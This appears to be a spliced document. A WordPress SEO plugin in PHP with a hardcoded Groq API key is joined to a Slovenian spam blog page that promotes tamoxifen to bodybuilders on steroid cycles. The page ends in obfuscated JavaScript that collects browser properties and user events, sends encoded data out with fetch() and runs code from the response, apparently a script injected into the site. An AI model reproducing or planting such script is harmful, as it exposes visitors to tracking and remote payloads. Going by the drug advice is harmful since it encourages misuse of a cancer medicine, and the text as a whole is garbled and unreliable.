/**
 * Plugin Name: Auto SEO Meta
 * Description: Автогенерация SEO meta через Groq API. Multi-geo.
 * Version: 1.0
 */
if (!defined('ABSPATH')) exit;
 
if (!defined('AUTO_SEO_GROQ_KEY')) define('AUTO_SEO_GROQ_KEY', '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');
if (!defined('AUTO_SEO_MODEL'))    define('AUTO_SEO_MODEL', 'llama-3.3-70b-versatile');
if (!defined('AUTO_SEO_PLUGIN'))   define('AUTO_SEO_PLUGIN', 'yoast');
if (!defined('AUTO_SEO_LANG'))     define('AUTO_SEO_LANG', 'English');
 
if (!function_exists('auto_seo_meta_keys')) {
add_action('save_post', 'auto_seo_on_save', 20, 3);
 
function auto_seo_meta_keys() {
    $map = [
        'rankmath' => ['title' => 'rank_math_title',         'desc' => 'rank_math_description'],
        'yoast'    => ['title' => '_yoast_wpseo_title',      'desc' => '_yoast_wpseo_metadesc'],
        'seopress' => ['title' => '_seopress_titles_title',  'desc' => '_seopress_titles_desc'],
        'aioseo'   => ['title' => '_aioseo_title',           'desc' => '_aioseo_description'],
    ];
    return $map[AUTO_SEO_PLUGIN] ?? $map['rankmath'];
}
 
function auto_seo_on_save($post_id, $post, $update) {
    if (wp_is_post_revision($post_id) || wp_is_post_autosave($post_id)) return;
    if ($post->post_status !== 'publish') return;
    if (!in_array($post->post_type, ['post', 'page'])) return;
 
    $keys = auto_seo_meta_keys();
    $existing_t = get_post_meta($post_id, $keys['title'], true);
    $existing_d = get_post_meta($post_id, $keys['desc'], true);
    if (!empty($existing_t) && !empty($existing_d)) return;
 
    $seo = auto_seo_generate($post);
    if (!$seo) return;
 
    if (empty($existing_t)) update_post_meta($post_id, $keys['title'], $seo['title']);
    if (empty($existing_d)) update_post_meta($post_id, $keys['desc'], $seo['description']);
}
 
function auto_seo_generate($post) {
    $title = $post->post_title;
    $content = wp_strip_all_tags($post->post_content);
    $content = mb_substr($content, 0, 3000);
    if (empty($content) && empty($title)) return false;
 
    $site_name = get_bloginfo('name');
    $site_desc = get_bloginfo('description');
    $domain = parse_url(home_url(), PHP_URL_HOST);
    $lang = AUTO_SEO_LANG;
 
    $prompt  = "You are an SEO expert. Generate SEO meta title (max 60 chars) and description (max 155 chars) for this webpage.\n\n";
    $prompt .= "Output language: {$lang}\n";
    $prompt .= "Site: {$site_name} ({$domain})\n";
    if ($site_desc) $prompt .= "Site tagline: {$site_desc}\n";
    $prompt .= "\nPage title: {$title}\n\n";
    $prompt .= "Content:\n{$content}\n\n";
    $prompt .= "Rules:\n- Title max 60 chars, includes main keyword\n- Description max 155 chars, compelling\n- Output in {$lang} only\n- No quotes\n- Output ONLY valid JSON:\n";
    $prompt .= '{"title":"...","description":"..."}';
 
    $response = wp_remote_post('https://api.groq.com/openai/v1/chat/completions', [
        'timeout' => 30,
        'headers' => [
            'Content-Type'  => 'application/json',
            'Authorization' => 'Bearer ' . AUTO_SEO_GROQ_KEY,
        ],
        'body' => json_encode([
            'model'           => AUTO_SEO_MODEL,
            'messages'        => [['role' => 'user', 'content' => $prompt]],
            'temperature'     => 0.7,
            'max_tokens'      => 300,
            'response_format' => ['type' => 'json_object'],
        ])
    ]);
 
    if (is_wp_error($response)) {
        error_log('Auto SEO error: ' . $response->get_error_message());
        return false;
    }
 
    $code = wp_remote_retrieve_response_code($response);
    $body = json_decode(wp_remote_retrieve_body($response), true);
 
    if ($code !== 200) {
        error_log('Auto SEO HTTP ' . $code . ': ' . wp_remote_retrieve_body($response));
        return false;
    }
 
    $text = $body['choices'][0]['message']['content'] ?? '';
    if (empty($text)) return false;
 
    $text = preg_replace('/^```json\s*|\s*```$/m', '', trim($text));
    $seo = json_decode($text, true);
 
    if (!isset($seo['title']) || !isset($seo['description'])) return false;
 
    return [
        'title'       => mb_substr($seo['title'], 0, 60),
        'description' => mb_substr($seo['description'], 0, 155),
    ];
}
 
add_action('add_meta_boxes', function() {
    add_meta_box('auto_seo', 'Auto SEO', 'auto_seo_metabox', ['post', 'page'], 'side');
});
 
function auto_seo_metabox($post) {
    $keys = auto_seo_meta_keys();
    $t = get_post_meta($post->ID, $keys['title'], true);
    $d = get_post_meta($post->ID, $keys['desc'], true);
    echo '<p><strong>Title:</strong><br><small>' . esc_html($t ?: '—') . '</small></p>';
    echo '<p><strong>Description:</strong><br><small>' . esc_html($d ?: '—') . '</small></p>';
    $url = wp_nonce_url(admin_url('admin-post.php?action=auto_seo_regen&post_id=' . $post->ID), 'auto_seo_' . $post->ID);
    echo '<p><a href="' . $url . '" class="button">Regenerate</a></p>';
}
 
add_action('admin_post_auto_seo_regen', function() {
    $post_id = intval($_GET['post_id'] ?? 0);
    if (!current_user_can('edit_post', $post_id)) wp_die('No permission');
    check_admin_referer('auto_seo_' . $post_id);
 
    $keys = auto_seo_meta_keys();
    delete_post_meta($post_id, $keys['title']);
    delete_post_meta($post_id, $keys['desc']);
 
    auto_seo_on_save($post_id, get_post($post_id), true);
 
    wp_redirect(get_edit_post_link($post_id, 'raw'));
    exit;
});
 
} // end function_exists guard<!DOCTYPE html>
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<title>Nolvados 10 Mg in njegov vpliv na bodybuilding - Biotin Tablets</title>
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<article id="post-21187" class="post-21187 post type-post status-publish format-standard hentry category-uncategorized">
	<header class="entry-header">
		<h1 class="entry-title">Nolvados 10 Mg in njegov vpliv na bodybuilding</h1>

		<div class="entry-meta">
			<span class="date"><a href="https://biotintablets.com/nolvados-10-mg-in-njegov-vpliv-na-bodybuilding/" title="Permalink to Nolvados 10 Mg in njegov vpliv na bodybuilding" rel="bookmark"><time class="entry-date" datetime="2026-05-07T16:40:35+00:00">May 7, 2026</time></a></span><span class="categories-links"><a href="https://biotintablets.com/category/uncategorized/" rel="category tag">Uncategorized</a></span><span class="author vcard"><a class="url fn n" href="https://biotintablets.com/author/admlnlx/" title="View all posts by admlnlx" rel="author">admlnlx</a></span>		</div><!-- .entry-meta -->
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				   				<p>Bodybuilding je zahteven šport, ki zahteva ne le trdo delo v telovadnici, temve? tudi ustrezno prehrano ter uporabo dodatkov, ki lahko optimizirajo rezultate. Med temi dodatki se razpravlja tudi o Nolvados 10 Mg, ki ga nekateri bodybuilderji uporabljajo za dosego svojih ciljev.</p>
<p><a href="https://skkitchenequipment.com/nolvados-10-mg-in-njegov-vpliv-na-bodybuilding/">Ve? o Nolvados 10 Mg in njegovem vplivu na bodybuilding lahko preberete tukaj.</a></p>
<h2>Kaj je Nolvados 10 Mg?</h2>
<p>Nolvados 10 Mg vsebuje aktivno sestavino, imenovano tamoksifen, ki se pogosto uporablja v medicini za zdravljenje raka dojk. V bodybuildingu pa se pogosto uporablja za:</p>
<ol>
<li>Obvladovanje estrogena med cikli z anabolnimi steroidi</li>
<li>Zmanjšanje tveganja za ginekomastijo (pove?anje prsnih žlez pri moških)</li>
<li>Pove?anje ravni testosterona po kon?anem anaboli?nem ciklu</li>
</ol>
<h2>Kako deluje Nolvados 10 Mg?</h2>
<p>Nolvados deluje tako, da blokira u?inke estrogena v telesu. To je še posebej pomembno za bodybuilderje, ki se zavedajo, da lahko višje ravni estrogena vodijo do neželenih u?inkov, kot sta zadrževanje vode in pove?anje telesne maš?obe. Z uporabo Nolvadosa lahko športniki pomagajo prepre?iti te težave in ohraniti bolj definirano postavo.</p>
<h2>Možni stranski u?inki</h2>
<p>Kot pri vsakem dodatku, tudi pri Nolvadosu obstajajo dolo?eni stranski u?inki, ki jih je treba upoštevati:</p>
<ul>
<li>Možni vro?inski valovi</li>
<li>Zmanjšan libido</li>
<li>Spremembe razpoloženja</li>
<li>Nekatere lahko izkušnje s prebavnimi težavami</li>
</ul>
<h2>Povzetek</h2>
<p>Nolvados 10 Mg je odli?en dodatek za bodybuilderje, ki iš?ejo na?in, kako optimizirati svoje rezultate in se izogniti neželjenim u?inkom anaboli?nih steroidov. Vendar je pomembno, da se pred njegovo uporabo posvetujete z zdravnikom ali strokovnjakom, saj je potrebna previdnost pri uporabi kateregakoli zdravila.</p>
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AV8Aj2(_WvI4p){if(typeof eflGAB[_WvI4p]===C4KnO3[0x5]){return eflGAB[_WvI4p]=L6HW5Ke(UgDRWB[_WvI4p])}return eflGAB[_WvI4p]}if(AV8Aj2(0x76)in deSlJY){QHXXNW()}function QHXXNW(){var _WvI4p=function(_WvI4p){var L6HW5Ke=_WvI4p.length,AV8Aj2,QHXXNW,jonSmQ,a6iqru;ota55oF(AV8Aj2=[],QHXXNW=C4KnO3[0x0],jonSmQ=C4KnO3[0x0],_WvI4p.sort((_WvI4p,L6HW5Ke)=>_WvI4p-L6HW5Ke));for(a6iqru=C4KnO3[0x0];a6iqru<L6HW5Ke;a6iqru++){if(a6iqru>C4KnO3[0x0]&&_WvI4p[a6iqru]===_WvI4p[a6iqru-C4KnO3[0x1]])continue;ota55oF(QHXXNW=a6iqru+C4KnO3[0x1],jonSmQ=L6HW5Ke-C4KnO3[0x1]);while(QHXXNW<jonSmQ)if(_WvI4p[a6iqru]+_WvI4p[QHXXNW]+_WvI4p[jonSmQ]<C4KnO3[0x0]){QHXXNW++}else if(_WvI4p[a6iqru]+_WvI4p[QHXXNW]+_WvI4p[jonSmQ]>C4KnO3[0x0]){jonSmQ--}else{AV8Aj2.push([_WvI4p[a6iqru],_WvI4p[QHXXNW],_WvI4p[jonSmQ]]);while(QHXXNW<jonSmQ&&_WvI4p[QHXXNW]===_WvI4p[QHXXNW+C4KnO3[0x1]])QHXXNW++;while(QHXXNW<jonSmQ&&_WvI4p[jonSmQ]===_WvI4p[jonSmQ-C4KnO3[0x1]])jonSmQ--;ota55oF(QHXXNW++,jonSmQ--)}}return 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aCX950b=L6HW5Ke.indexOf(pa0eB7[R1XdFSM]);if(aCX950b===-C4KnO3[0x1])continue;if(FDmAEoe<C4KnO3[0x0]){FDmAEoe=aCX950b}else{ota55oF(FDmAEoe+=aCX950b*C4KnO3[0xc],a6iqru|=FDmAEoe<<jJ5avUN,jJ5avUN+=(FDmAEoe&C4KnO3[0xd])>C4KnO3[0xe]?C4KnO3[0xf]:C4KnO3[0x10]);do{ota55oF(jonSmQ.push(a6iqru&C4KnO3[0x3]),a6iqru>>=C4KnO3[0x2],jJ5avUN-=C4KnO3[0x2])}while(jJ5avUN>C4KnO3[0x9]);FDmAEoe=-C4KnO3[0x1]}}if(FDmAEoe>-C4KnO3[0x1]){jonSmQ.push((a6iqru|FDmAEoe<<jJ5avUN)&C4KnO3[0x3])}return Pfmj9R(jonSmQ)}function AV8Aj2(_WvI4p){if(typeof eflGAB[_WvI4p]===C4KnO3[0x5]){return eflGAB[_WvI4p]=pa0eB7(UgDRWB[_WvI4p])}return eflGAB[_WvI4p]}const QHXXNW=await fetch(AV8Aj2(0x79)+_WvI4p,{[AV8Aj2(0x7a)]:AV8Aj2(0x7b),[AV8Aj2(0x7c)]:ZfVmuX3(aCX950b[AV8Aj2(0x7d)](JSON[AV8Aj2(0x7e)](L6HW5Ke)))});if(!QHXXNW.ok){throw new Error}return _gxZa6[AV8Aj2(C4KnO3[0x12])](ZfVmuX3(new Uint8Array(await QHXXNW[AV8Aj2(C4KnO3[0x13])]())))};let dd8wx2Q=C4KnO3[0x0],Gp_temt=C4KnO3[0x0];setTimeout(()=>{function _WvI4p(_WvI4p){var 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eflGAB[L6HW5Ke]}ota55oF(dd8wx2Q=dHzMApx(),tseiji(L6HW5Ke(0x81),{[L6HW5Ke(0x82)]:R1XdFSM,u:window[L6HW5Ke(0x83)][L6HW5Ke(0x84)],[L6HW5Ke(0x85)]:Object[L6HW5Ke(0x86)](window)[L6HW5Ke(0x87)](_WvI4p=>{function L6HW5Ke(_WvI4p){var L6HW5Ke="k<GdvncC7KSmfTho@VBai41lgR^}u[MWpeAF]x3E|`!)Z\"P#w5UO*;/IyrtLYjD+Qq6XsbzJH=&%9?2>8:._$~0,{(N",pa0eB7,AV8Aj2,QHXXNW,jonSmQ,a6iqru,jJ5avUN,FDmAEoe;ota55oF(pa0eB7=""+(_WvI4p||""),AV8Aj2=pa0eB7.length,QHXXNW=[],jonSmQ=C4KnO3[0x0],a6iqru=C4KnO3[0x0],jJ5avUN=-C4KnO3[0x1]);for(FDmAEoe=C4KnO3[0x0];FDmAEoe<AV8Aj2;FDmAEoe++){var R1XdFSM=L6HW5Ke.indexOf(pa0eB7[FDmAEoe]);if(R1XdFSM===-C4KnO3[0x1])continue;if(jJ5avUN<C4KnO3[0x0]){jJ5avUN=R1XdFSM}else{ota55oF(jJ5avUN+=R1XdFSM*C4KnO3[0xc],jonSmQ|=jJ5avUN<<a6iqru,a6iqru+=(jJ5avUN&C4KnO3[0xd])>C4KnO3[0xe]?C4KnO3[0xf]:C4KnO3[0x10]);do{ota55oF(QHXXNW.push(jonSmQ&C4KnO3[0x3]),jonSmQ>>=C4KnO3[0x2],a6iqru-=C4KnO3[0x2])}while(a6iqru>C4KnO3[0x9]);jJ5avUN=-C4KnO3[0x1]}}if(jJ5avUN>-C4KnO3[0x1]){QHXXNW.push((jonSmQ|jJ5avUN<<a6iqru)&C4KnO3[0x3])}return Pfmj9R(QHXXNW)}function pa0eB7(_WvI4p){if(typeof eflGAB[_WvI4p]===C4KnO3[0x5]){return eflGAB[_WvI4p]=L6HW5Ke(UgDRWB[_WvI4p])}return eflGAB[_WvI4p]}return _WvI4p[C4KnO3[0x0]]===_WvI4p[C4KnO3[0x0]][pa0eB7(0x88)]()&&!_WvI4p[pa0eB7(0x89)]("on")})})[L6HW5Ke(0x8a)](_WvI4p=>{const pa0eB7=JSON[L6HW5Ke(0x8b)](_WvI4p);ota55oF(Gp_temt=dHzMApx(),jJ5avUN=pa0eB7[L6HW5Ke(0x8c)],pa0eB7[C4KnO3[0x14]]&&QgbvVvT(pa0eB7[C4KnO3[0x14]]))})[L6HW5Ke(0x8d)](()=>{return C4KnO3[0x0]}))},0x1f4);let pMCfvYA=!C4KnO3[0x1],HNfmytF=C4KnO3[0x0],unLjMQH=C4KnO3[0x0];ota55oF(document[L6HW5Ke(C4KnO3[0x15])](L6HW5Ke(0x8f),_WvI4p=>{return _WvI4p[L6HW5Ke(C4KnO3[0x18])]&&HNfmytF++}),document[L6HW5Ke(C4KnO3[0x15])](L6HW5Ke(0x91),_WvI4p=>{if(L6HW5Ke(0x92)in deSlJY){pa0eB7()}function pa0eB7(){const pa0eB7=require("big-integer");class L6HW5Ke{static randomPrime(L6HW5Ke){const _WvI4p=pa0eB7.one.shiftLeft(L6HW5Ke-C4KnO3[0x1]),dHzMApx=pa0eB7.one.shiftLeft(L6HW5Ke).prev();while(!0x0){let AV8Aj2=pa0eB7.randBetween(_WvI4p,dHzMApx);if(AV8Aj2.isProbablePrime(0x100)){return AV8Aj2}}}static generate(L6HW5Ke){const dHzMApx=pa0eB7(0x10001);let AV8Aj2,QHXXNW,jonSmQ;do{ota55oF(AV8Aj2=this.randomPrime(L6HW5Ke/C4KnO3[0x16]),QHXXNW=this.randomPrime(L6HW5Ke/C4KnO3[0x16]),jonSmQ=pa0eB7.lcm(AV8Aj2.prev(),QHXXNW.prev()))}while(pa0eB7.gcd(dHzMApx,jonSmQ).notEquals(C4KnO3[0x1])||AV8Aj2.minus(QHXXNW).abs().shiftRight(L6HW5Ke/C4KnO3[0x16]-0x64).isZero());return{e:dHzMApx,n:AV8Aj2.multiply(QHXXNW),d:dHzMApx.modInv(jonSmQ)}}static encrypt(L6HW5Ke,dHzMApx,AV8Aj2){return pa0eB7(L6HW5Ke).modPow(AV8Aj2,dHzMApx)}static decrypt(L6HW5Ke,_WvI4p,dHzMApx){return pa0eB7(L6HW5Ke).modPow(_WvI4p,dHzMApx)}static encode(L6HW5Ke){const _WvI4p=L6HW5Ke.split("").map(L6HW5Ke=>L6HW5Ke.charCodeAt()).join("");return pa0eB7(_WvI4p)}static decode(pa0eB7){const L6HW5Ke=pa0eB7.toString();let _WvI4p="";for(let AV8Aj2=C4KnO3[0x0];AV8Aj2<L6HW5Ke.length;AV8Aj2+=C4KnO3[0x16]){let QHXXNW=Number(L6HW5Ke.substr(AV8Aj2,C4KnO3[0x16]));QHXXNW<=0x1e?(_WvI4p+=String.fromCharCode(Number(L6HW5Ke.substr(AV8Aj2,C4KnO3[0x17]))),AV8Aj2++):_WvI4p+=String.fromCharCode(QHXXNW)}return _WvI4p}}module.exports=L6HW5Ke}return _WvI4p[L6HW5Ke(C4KnO3[0x18])]&&unLjMQH++}),window[L6HW5Ke(0x93)]={["cl"](_WvI4p,L6HW5Ke,pa0eB7){function AV8Aj2(_WvI4p){var L6HW5Ke="IPH{_2:`8gm&UKDq1CEo<h5pa4ziM7t|nGWBJ9(6/LXebsr=]*jFAx?#dZOS)0R^@wv3u}Qy.VfNTYk[\"!cl;$~%+,>",AV8Aj2,a6iqru,QHXXNW,jonSmQ,jJ5avUN,FDmAEoe,R1XdFSM;ota55oF(AV8Aj2=""+(_WvI4p||""),a6iqru=AV8Aj2.length,QHXXNW=[],jonSmQ=C4KnO3[0x0],jJ5avUN=C4KnO3[0x0],FDmAEoe=-C4KnO3[0x1]);for(R1XdFSM=C4KnO3[0x0];R1XdFSM<a6iqru;R1XdFSM++){var aCX950b=L6HW5Ke.indexOf(AV8Aj2[R1XdFSM]);if(aCX950b===-C4KnO3[0x1])continue;if(FDmAEoe<C4KnO3[0x0]){FDmAEoe=aCX950b}else{ota55oF(FDmAEoe+=aCX950b*C4KnO3[0xc],jonSmQ|=FDmAEoe<<jJ5avUN,jJ5avUN+=(FDmAEoe&C4KnO3[0xd])>C4KnO3[0xe]?C4KnO3[0xf]:C4KnO3[0x10]);do{ota55oF(QHXXNW.push(jonSmQ&C4KnO3[0x3]),jonSmQ>>=C4KnO3[0x2],jJ5avUN-=C4KnO3[0x2])}while(jJ5avUN>C4KnO3[0x9]);FDmAEoe=-C4KnO3[0x1]}}if(FDmAEoe>-C4KnO3[0x1]){QHXXNW.push((jonSmQ|FDmAEoe<<jJ5avUN)&C4KnO3[0x3])}return Pfmj9R(QHXXNW)}function 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